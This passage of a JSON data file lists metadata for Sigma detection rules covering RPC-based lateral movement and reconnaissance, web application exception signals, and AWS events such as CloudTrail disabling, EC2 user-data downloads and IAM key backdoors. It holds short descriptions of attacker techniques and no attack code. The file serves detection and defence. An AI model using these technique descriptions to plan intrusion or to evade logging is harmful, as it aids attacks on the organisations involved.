"https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_itaskschedulerservice_lateral_movement.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1053", - "attack.t1053.002" - ], - "creation_date": "2022/01/01", - "filename": "rpc_firewall_itaskschedulerservice_lateral_movement.yml", - "author": "Sagie Dulce, Dekel Paz", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "application", - "logsource.product": "rpc_firewall" - } - }, - { - "description": "Detects remote RPC calls to read information about scheduled tasks", - "uuid": "7f7c49eb-2977-4ac8-8ab0-ab1bae14730e", - "value": "Remote Schedule Task Recon via ITaskSchedulerService", - "meta": { - "refs": [ - "https://attack.mitre.org/tactics/TA0007/", - "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", - "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md", - "https://github.com/zeronetworks/rpcfirewall", - "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_itaskschedulerservice_recon.yml" - ], - "tags": "No established tags", - "creation_date": "2022/01/01", - "filename": "rpc_firewall_itaskschedulerservice_recon.yml", - "author": "Sagie Dulce, Dekel Paz", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "application", - "logsource.product": "rpc_firewall" - } - }, - { - "description": "Detects remote RPC calls to possibly abuse remote printing service via MS-RPRN / MS-PAR", - "uuid": "bc3a4b0c-e167-48e1-aa88-b3020950e560", - "value": "Remote Printing Abuse for Lateral Movement", - "meta": { - "refs": [ - "https://attack.mitre.org/tactics/TA0008/", - "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527", - "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/d42db7d5-f141-4466-8f47-0a4be14e2fc1", - "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pan/e44d984c-07d3-414c-8ffc-f8c8ad8512a8", - "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-RPRN-PAR.md", - "https://github.com/zeronetworks/rpcfirewall", - "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_printing_lateral_movement.yml" - ], - "tags": [ - "attack.lateral_movement" - ], - "creation_date": "2022/01/01", - "filename": "rpc_firewall_printing_lateral_movement.yml", - "author": "Sagie Dulce, Dekel Paz", - "level": "high", - "falsepositive": [ - "Actual printing" - ], - "logsource.category": "application", - "logsource.product": "rpc_firewall" - } - }, - { - "description": "Detects remote RPC calls that performs remote DCOM operations. These could be abused for lateral movement via DCOM or WMI.", - "uuid": "68050b10-e477-4377-a99b-3721b422d6ef", - "value": "Remote DCOM/WMI Lateral Movement", - "meta": { - "refs": [ - "https://attack.mitre.org/tactics/TA0008/", - "https://attack.mitre.org/techniques/T1021/003/", - "https://attack.mitre.org/techniques/T1047/", - "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-srvs/accf23b0-0f57-441c-9185-43041f1b0ee9", - "https://github.com/zeronetworks/rpcfirewall", - "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_remote_dcom_or_wmi.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1021.003", - "attack.t1047" - ], - "creation_date": "2022/01/01", - "filename": "rpc_firewall_remote_dcom_or_wmi.yml", - "author": "Sagie Dulce, Dekel Paz", - "level": "high", - "falsepositive": [ - "Some administrative tasks on remote host" - ], - "logsource.category": "application", - "logsource.product": "rpc_firewall" - } - }, - { - "description": "Detects remote RPC calls to modify the registry and possible execute code", - "uuid": "35c55673-84ca-4e99-8d09-e334f3c29539", - "value": "Remote Registry Lateral Movement", - "meta": { - "refs": [ - "https://attack.mitre.org/techniques/T1112/", - "https://attack.mitre.org/tactics/TA0008/", - "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrp/0fa3191d-bb79-490a-81bd-54c2601b7a78", - "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-RRP.md", - "https://github.com/zeronetworks/rpcfirewall", - "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_remote_registry_lateral_movement.yml" - ], - "tags": [ - "attack.lateral_movement" - ], - "creation_date": "2022/01/01", - "filename": "rpc_firewall_remote_registry_lateral_movement.yml", - "author": "Sagie Dulce, Dekel Paz", - "level": "high", - "falsepositive": [ - "Remote administration of registry values" - ], - "logsource.category": "application", - "logsource.product": "rpc_firewall" - } - }, - { - "description": "Detects remote RPC calls to collect information", - "uuid": "d8ffe17e-04be-4886-beb9-c1dd1944b9a8", - "value": "Remote Registry Recon", - "meta": { - "refs": [ - "https://attack.mitre.org/tactics/TA0007/", - "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrp/0fa3191d-bb79-490a-81bd-54c2601b7a78", - "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-RRP.md", - "https://github.com/zeronetworks/rpcfirewall", - "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_remote_registry_recon.yml" - ], - "tags": "No established tags", - "creation_date": "2022/01/01", - "filename": "rpc_firewall_remote_registry_recon.yml", - "author": "Sagie Dulce, Dekel Paz", - "level": "high", - "falsepositive": [ - "Remote administration of registry values" - ], - "logsource.category": "application", - "logsource.product": "rpc_firewall" - } - }, - { - "description": "Detects remote RPC calls to possibly abuse remote encryption service via MS-SRVS", - "uuid": "b6ea3cc7-542f-43ef-bbe4-980fbed444c7", - "value": "Remote Server Service Abuse", - "meta": { - "refs": [ - "https://attack.mitre.org/tactics/TA0008/", - "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-srvs/accf23b0-0f57-441c-9185-43041f1b0ee9", - "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-SRVS.md", - "https://github.com/zeronetworks/rpcfirewall", - "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_remote_server_service_abuse.yml" - ], - "tags": [ - "attack.lateral_movement" - ], - "creation_date": "2022/01/01", - "filename": "rpc_firewall_remote_server_service_abuse.yml", - "author": "Sagie Dulce, Dekel Paz", - "level": "high", - "falsepositive": [ - "Legitimate remote share creation" - ], - "logsource.category": "application", - "logsource.product": "rpc_firewall" - } - }, - { - "description": "Detects remote RPC calls to possibly abuse remote encryption service via MS-EFSR", - "uuid": "10018e73-06ec-46ec-8107-9172f1e04ff2", - "value": "Remote Server Service Abuse for Lateral Movement", - "meta": { - "refs": [ - "https://attack.mitre.org/tactics/TA0008/", - "https://attack.mitre.org/techniques/T1569/002/", - "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-srvs/accf23b0-0f57-441c-9185-43041f1b0ee9", - "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-SCMR.md", - "https://github.com/zeronetworks/rpcfirewall", - "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_remote_service_lateral_movement.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1569.002" - ], - "creation_date": "2022/01/01", - "filename": "rpc_firewall_remote_service_lateral_movement.yml", - "author": "Sagie Dulce, Dekel Paz", - "level": "high", - "falsepositive": [ - "Administrative tasks on remote services" - ], - "logsource.category": "application", - "logsource.product": "rpc_firewall" - } - }, - { - "description": "Detects remote RPC calls to create or execute a scheduled task via SASec", - "uuid": "aff229ab-f8cd-447b-b215-084d11e79eb0", - "value": "Remote Schedule Task Lateral Movement via SASec-", - "meta": { - "refs": [ - "https://attack.mitre.org/techniques/T1053/", - "https://attack.mitre.org/tactics/TA0008/", - "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", - "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md", - "https://github.com/zeronetworks/rpcfirewall", - "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_sasec_lateral_movement.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1053", - "attack.t1053.002" - ], - "creation_date": "2022/01/01", - "filename": "rpc_firewall_sasec_lateral_movement.yml", - "author": "Sagie Dulce, Dekel Paz", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "application", - "logsource.product": "rpc_firewall" - } - }, - { - "description": "Detects remote RPC calls to read information about scheduled tasks via SASec", - "uuid": "0a3ff354-93fc-4273-8a03-1078782de5b7", - "value": "Remote Schedule Task Lateral Movement via SASec", - "meta": { - "refs": [ - "https://attack.mitre.org/tactics/TA0007/", - "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", - "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md", - "https://github.com/zeronetworks/rpcfirewall", - "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_sasec_recon.yml" - ], - "tags": "No established tags", - "creation_date": "2022/01/01", - "filename": "rpc_firewall_sasec_recon.yml", - "author": "Sagie Dulce, Dekel Paz", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "application", - "logsource.product": "rpc_firewall" - } - }, - { - "description": "Detects remote RPC calls useb by SharpHound to map remote connections and local group membership.", - "uuid": "65f77b1e-8e79-45bf-bb67-5988a8ce45a5", - "value": "SharpHound Recon Account Discovery", - "meta": { - "refs": [ - "https://attack.mitre.org/techniques/T1087/", - "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wkst/55118c55-2122-4ef9-8664-0c1ff9e168f3", - "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-WKST.md", - "https://github.com/zeronetworks/rpcfirewall", - "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_sharphound_recon_account.yml" - ], - "tags": [ - "attack.t1087" - ], - "creation_date": "2022/01/01", - "filename": "rpc_firewall_sharphound_recon_account.yml", - "author": "Sagie Dulce, Dekel Paz", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "application", - "logsource.product": "rpc_firewall" - } - }, - { - "description": "Detects remote RPC calls useb by SharpHound to map remote connections and local group membership.", - "uuid": "6d580420-ff3f-4e0e-b6b0-41b90c787e28", - "value": "SharpHound Recon Sessions", - "meta": { - "refs": [ - "https://attack.mitre.org/techniques/T1033/", - "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-srvs/02b1f559-fda2-4ba3-94c2-806eb2777183", - "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-SRVS.md", - "https://github.com/zeronetworks/rpcfirewall", - "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_sharphound_recon_sessions.yml" - ], - "tags": [ - "attack.t1033" - ], - "creation_date": "2022/01/01", - "filename": "rpc_firewall_sharphound_recon_sessions.yml", - "author": "Sagie Dulce, Dekel Paz", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "application", - "logsource.product": "rpc_firewall" - } - }, - { - "description": "Detects suspicious Ruby on Rails exceptions that could indicate exploitation attempts", - "uuid": "0d2c3d4c-4b48-4ac3-8f23-ea845746bb1a", - "value": "Ruby on Rails Framework Exceptions", - "meta": { - "refs": [ - "http://edgeguides.rubyonrails.org/security.html", - "http://guides.rubyonrails.org/action_controller_overview.html", - "https://stackoverflow.com/questions/25892194/does-rails-come-with-a-not-authorized-exception", - "https://github.com/rails/rails/blob/cd08e6bcc4cd8948fe01e0be1ea0c7ca60373a25/actionpack/lib/action_dispatch/middleware/exception_wrapper.rb", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/ruby/appframework_ruby_on_rails_exceptions.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ], - "creation_date": "2017/08/06", - "filename": "appframework_ruby_on_rails_exceptions.yml", - "author": "Thomas Patzke", - "level": "medium", - "falsepositive": [ - "Application bugs" - ], - "logsource.category": "application", - "logsource.product": "ruby_on_rails" - } - }, - { - "description": "Detects suspicious Spring framework exceptions that could indicate exploitation attempts", - "uuid": "ae48ab93-45f7-4051-9dfe-5d30a3f78e33", - "value": "Spring Framework Exceptions", - "meta": { - "refs": [ - "https://docs.spring.io/spring-security/site/docs/current/apidocs/overview-tree.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/spring/appframework_spring_exceptions.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ], - "creation_date": "2017/08/06", - "filename": "appframework_spring_exceptions.yml", - "author": "Thomas Patzke", - "level": "medium", - "falsepositive": [ - "Application bugs" - ], - "logsource.category": "application", - "logsource.product": "spring" - } - }, - { - "description": "Detects SQL error messages that indicate probing for an injection attack", - "uuid": "8a670c6d-7189-4b1c-8017-a417ca84a086", - "value": "Suspicious SQL Error Messages", - "meta": { - "refs": [ - "http://www.sqlinjection.net/errors", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/sql/app_sqlinjection_errors.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ], - "creation_date": "2017/11/27", - "filename": "app_sqlinjection_errors.yml", - "author": "Bjoern Kimminich", - "level": "high", - "falsepositive": [ - "Application bugs" - ], - "logsource.category": "application", - "logsource.product": "sql" - } - }, - { - "description": "Detects when an user attached a Lambda layer to an existing function to override a library that is in use by the function, where their malicious code could utilize the function's IAM role for AWS API calls.\nThis would give an adversary access to the privileges associated with the Lambda service role that is attached to that function.\n", - "uuid": "97fbabf8-8e1b-47a2-b7d5-a418d2b95e3d", - "value": "AWS Attached Malicious Lambda Layer", - "meta": { - "refs": [ - "https://docs.aws.amazon.com/lambda/latest/dg/API_UpdateFunctionConfiguration.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_attached_malicious_lambda_layer.yml" - ], - "tags": [ - "attack.privilege_escalation" - ], - "creation_date": "2021/09/23", - "filename": "aws_attached_malicious_lambda_layer.yml", - "author": "Austin Songer", - "level": "medium", - "falsepositive": [ - "Lambda Layer being attached may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Lambda Layer being attached from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "logsource.category": "No established category", - "logsource.product": "aws" - } - }, - { - "description": "Detects disabling, deleting and updating of a Trail", - "uuid": "4db60cc0-36fb-42b7-9b58-a5b53019fb74", - "value": "AWS CloudTrail Important Change", - "meta": { - "refs": [ - "https://docs.aws.amazon.com/awscloudtrail/latest/userguide/best-practices-security.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_cloudtrail_disable_logging.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ], - "creation_date": "2020/01/21", - "filename": "aws_cloudtrail_disable_logging.yml", - "author": "vitaliy0x1", - "level": "medium", - "falsepositive": [ - "Valid change in a Trail" - ], - "logsource.category": "No established category", - "logsource.product": "aws" - } - }, - { - "description": "Detects AWS Config Service disabling", - "uuid": "07330162-dba1-4746-8121-a9647d49d297", - "value": "AWS Config Disabling Channel/Recorder", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_config_disable_recording.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ], - "creation_date": "2020/01/21", - "filename": "aws_config_disable_recording.yml", - "author": "vitaliy0x1", - "level": "high", - "falsepositive": [ - "Valid change in AWS Config Service" - ], - "logsource.category": "No established category", - "logsource.product": "aws" - } - }, - { - "description": "Identifies disabling of default Amazon Elastic Block Store (EBS) encryption in the current region.\nDisabling default encryption does not change the encryption status of your existing volumes.\n", - "uuid": "16124c2d-e40b-4fcc-8f2c-5ab7870a2223", - "value": "AWS EC2 Disable EBS Encryption", - "meta": { - "refs": [ - "https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DisableEbsEncryptionByDefault.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_ec2_disable_encryption.yml" - ], - "tags": [ - "attack.impact", - "attack.t1486", - "attack.t1565" - ], - "creation_date": "2021/06/29", - "filename": "aws_ec2_disable_encryption.yml", - "author": "Sittikorn S", - "level": "medium", - "falsepositive": [ - "System Administrator Activities", - "DEV, UAT, SAT environment. You should apply this rule with PROD account only." - ], - "logsource.category": "No established category", - "logsource.product": "aws" - } - }, - { - "description": "Detects bulk downloading of User Data associated with AWS EC2 instances. Instance User Data may include installation scripts and hard-coded secrets for deployment.", - "uuid": "26ff4080-194e-47e7-9889-ef7602efed0c", - "value": "AWS EC2 Download Userdata", - "meta": { - "refs": [ - "https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/ec2__download_userdata/main.py", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_ec2_download_userdata.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1020" - ], - "creation_date": "2020/02/11", - "filename": "aws_ec2_download_userdata.yml", - "author": "faloker", - "level": "medium", - "falsepositive": [ - "Assets management software like device42" - ], - "logsource.category": "No established category", - "logsource.product": "aws" - } - }, - { - "description": "Detects changes to the EC2 instance startup script. The shell script will be executed as root/SYSTEM every time the specific instances are booted up.", - "uuid": "1ab3c5ed-5baf-417b-bb6b-78ca33f6c3df", - "value": "AWS EC2 Startup Shell Script Change", - "meta": { - "refs": [ - "https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/ec2__startup_shell_script/main.py#L9", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_ec2_startup_script_change.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001", - "attack.t1059.003", - "attack.t1059.004" - ], - "creation_date": "2020/02/12", - "filename": "aws_ec2_startup_script_change.yml", - "author": "faloker", - "level": "high", - "falsepositive": [ - "Valid changes to the startup script" - ], - "logsource.category": "No established category", - "logsource.product": "aws" - } - }, - { - "description": "An attempt to export an AWS EC2 instance has been detected. A VM Export might indicate an attempt to extract information from an instance.", - "uuid": "54b9a76a-3c71-4673-b4b3-2edb4566ea7b", - "value": "AWS EC2 VM Export Failure", - "meta": { - "refs": [ - "https://docs.aws.amazon.com/vm-import/latest/userguide/vmexport.html#export-instance", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_ec2_vm_export_failure.yml" - ], - "tags": [ - "attack.collection", - "attack.t1005", - "attack.exfiltration", - "attack.t1537" - ], - "creation_date": "2020/04/16", - "filename": "aws_ec2_vm_export_failure.yml", - "author": "Diogo Braz", - "level": "low", - "falsepositive": "No established falsepositives", - "logsource.category": "No established category", - "logsource.product": "aws" - } - }, - { - "description": "Detects when an Elastic Container Service (ECS) Task Definition has been modified and run.\nThis can indicate an adversary adding a backdoor to establish persistence or escalate privileges.\nThis rule is based on examining events created upon execution of Rhino Security Lab's Pacu in a lab environment.\n", - "uuid": "b94bf91e-c2bf-4047-9c43-c6810f43baad", - "value": "AWS ECS Backdoor Task Definition", - "meta": { - "refs": [ - "https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/ecs__backdoor_task_def/main.py", - "https://docs.aws.amazon.com/AmazonECS/latest/APIReference/API_RegisterTaskDefinition.html", - "https://attack.mitre.org/techniques/T1525", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_ecs_task_definition_backdoor.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1525" - ], - "creation_date": "2022/06/07", - "filename": "aws_ecs_task_definition_backdoor.yml", - "author": "Darin Smith", - "level": "medium", - "falsepositive": [ - "Task Definition being modified to request credentials from the Task Metadata Service for valid reasons" - ], - "logsource.category": "No established category", - "logsource.product": "aws" - } - }, - { - "description": "Detects when a EFS Fileshare is modified or deleted.\nYou can't delete a file system that is in use.\nIf the file system has any mount targets, the adversary must first delete them, so deletion of a mount will occur before deletion of a fileshare.\n", - "uuid": "25cb1ba1-8a19-4a23-a198-d252664c8cef", - "value": "AWS EFS Fileshare Modified or Deleted", - "meta": { - "refs": [ - "https://docs.aws.amazon.com/efs/latest/ug/API_DeleteFileSystem.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_efs_fileshare_modified_or_deleted.yml" - ], - "tags": [ - "attack.impact" - ], - "creation_date": "2021/08/15", - "filename": "aws_efs_fileshare_modified_or_deleted.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "aws" - } - }, - { - "description": "Detects when a EFS Fileshare Mount is modified or deleted. An adversary breaking any file system using the mount target that is being deleted, which might disrupt instances or applications using those mounts.", - "uuid": "6a7ba45c-63d8-473e-9736-2eaabff79964", - "value": "AWS EFS Fileshare Mount Modified or Deleted", - "meta": { - "refs": [ - "https://docs.aws.amazon.com/efs/latest/ug/API_DeleteMountTarget.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_efs_fileshare_mount_modified_or_deleted.yml" - ], - "tags": [ - "attack.impact", - "attack.t1485" - ], - "creation_date": "2021/08/15", - "filename": "aws_efs_fileshare_mount_modified_or_deleted.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "aws" - } - }, - { - "description": "Identifies when an EKS cluster is created or deleted.", - "uuid": "33d50d03-20ec-4b74-a74e-1e65a38af1c0", - "value": "AWS EKS Cluster Created or Deleted", - "meta": { - "refs": [ - "https://any-api.com/amazonaws_com/eks/docs/API_Description", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_eks_cluster_created_or_deleted.yml" - ], - "tags": [ - "attack.impact", - "attack.t1485" - ], - "creation_date": "2021/08/16", - "filename": "aws_eks_cluster_created_or_deleted.yml", - "author": "Austin Songer", - "level": "low", - "falsepositive": [ - "EKS Cluster being created or deleted may be performed by a system administrator.", - "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "EKS Cluster created or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "logsource.category": "No established category", - "logsource.product": "aws" - } - }, - { - "description": "Detects when an ElastiCache security group has been created.", - "uuid": "4ae68615-866f-4304-b24b-ba048dfa5ca7", - "value": "AWS ElastiCache Security Group Created", - "meta": { - "refs": [ - "https://github.com/elastic/detection-rules/blob/598f3d7e0a63221c0703ad9a0ea7e22e7bc5961e/rules/integrations/aws/persistence_elasticache_security_group_creation.toml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_elasticache_security_group_created.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1136", - "attack.t1136.003" - ], - "creation_date": "2021/07/24", - "filename": "aws_elasticache_security_group_created.yml", - "author": "Austin Songer @austinsonger", - "level": "low", - "falsepositive": [ - "A ElastiCache security group may be created by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Security group creations from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "logsource.category": "No established category", - "logsource.product": "aws" - } - }, - { - "description": "Identifies when an ElastiCache security group has been modified or deleted.", - "uuid": "7c797da2-9cf2-4523-ba64-33b06339f0cc", - "value": "AWS ElastiCache Security Group Modified or Deleted", - "meta": { - "refs": [ - "https://github.com/elastic/detection-rules/blob/7d5efd68603f42be5e125b5a6a503b2ef3ac0f4e/rules/integrations/aws/impact_elasticache_security_group_modified_or_deleted.toml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_elasticache_security_group_modified_or_deleted.yml" - ], - "tags": [ - "attack.impact", - "attack.t1531" - ], - "creation_date": "2021/07/24", - "filename": "aws_elasticache_security_group_modified_or_deleted.yml", - "author": "Austin Songer @austinsonger", - "level": "low", - "falsepositive": [ - "A ElastiCache security group deletion may be done by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Security Group deletions from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "logsource.category": "No established category", - "logsource.product": "aws" - } - }, - { - "description": "Detects enumeration of accounts configuration via api call to list different instances and services within a short period of time.", - "uuid": "e9c14b23-47e2-4a8b-8a63-d36618e33d70", - "value": "Account Enumeration on AWS", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_enum_listing.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1592" - ], - "creation_date": "2020/11/21", - "filename": "aws_enum_listing.yml", - "author": "toffeebr33k", - "level": "low", - "falsepositive": [ - "AWS Config or other configuration scanning activities" - ], - "logsource.category": "No established category", - "logsource.product": "aws" - } - }, - { - "description": "Detects updates of the GuardDuty list of trusted IPs, perhaps to disable security alerts against malicious IPs.", - "uuid": "6e61ee20-ce00-4f8d-8aee-bedd8216f7e3", - "value": "AWS GuardDuty Important Change", - "meta": { - "refs": [ - "https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/guardduty__whitelist_ip/main.py#L9", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_guardduty_disruption.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ], - "creation_date": "2020/02/11", - "filename": "aws_guardduty_disruption.yml", - "author": "faloker", - "level": "high", - "falsepositive": [ - "Valid change in the GuardDuty (e.g. to ignore internal scanners)" - ], - "logsource.category": "No established category", - "logsource.product": "aws" - } - }, - { - "description": "Detects AWS API key creation for a user by another user.\nBackdoored users can be used to obtain persistence in the AWS environment.\nAlso with this alert, you can detect a flow of AWS keys in your org.\n", - "uuid": "0a5177f4-6ca9-44c2-aacf-d3f3d8b6e4d2", - "value": "AWS IAM Backdoor Users Keys", - "meta": { - "refs": [ - "https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__backdoor_users_keys/main.py", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_iam_backdoor_users_keys.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1098" - ], - "creation_date": "2020/02/12", - "filename": "aws_iam_backdoor_users_keys.yml", - "author": "faloker", - "level": "medium", - "falsepositive": [ - "Adding user keys to their own accounts (the filter cannot cover all possible variants of user naming)", - "AWS API keys legitimate exchange workflows" - ], - "logsource.category": "No established category", - "logsource.product": "aws" - } - }, - { - "description": "Detects when an user creates or invokes a lambda function.", - "uuid": "d914951b-52c8-485f-875e-86abab710c0b", - "value": "AWS Lambda Function Created or Invoked", - "meta": { - "refs": [ - "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_lambda_function_created_or_invoked.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1078" - ], - "creation_date": "2021/10/03", - "filename": "aws_lambda_function_created_or_invoked.yml", - "author": "Austin Songer @austinsonger", - "level": "low", - "falsepositive": [ - "Lambda Function created or invoked may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "If known behavior is causing false positives, it can be exempted from the rule." - ], - "logsource.category": "No established category", - "logsource.product": "aws" - } - }, - { - "description": "Detects evade to Macie detection.", - "uuid": "91f6a16c-ef71-437a-99ac-0b070e3ad221", - "value": "AWS Macie Evasion", - "meta": { - "refs": [ - "https://docs.aws.amazon.com/cli/latest/reference/macie/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_macic_evasion.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ], - "creation_date": "2021/07/06", - "filename": "aws_macic_evasion.yml", - "author": "Sittikorn S", - "level": "medium", - "falsepositive": [ - "System or Network administrator behaviors" - ], - "logsource.category": "No established category", - "logsource.product": "aws" - } - }, - { - "description": "Detects possible suspicious glue development endpoint activity.", - "uuid": "4990c2e3-f4b8-45e3-bc3c-30b14ff0ed26", - "value": "AWS Glue Development Endpoint Activity", - "meta": { - "refs": [ - 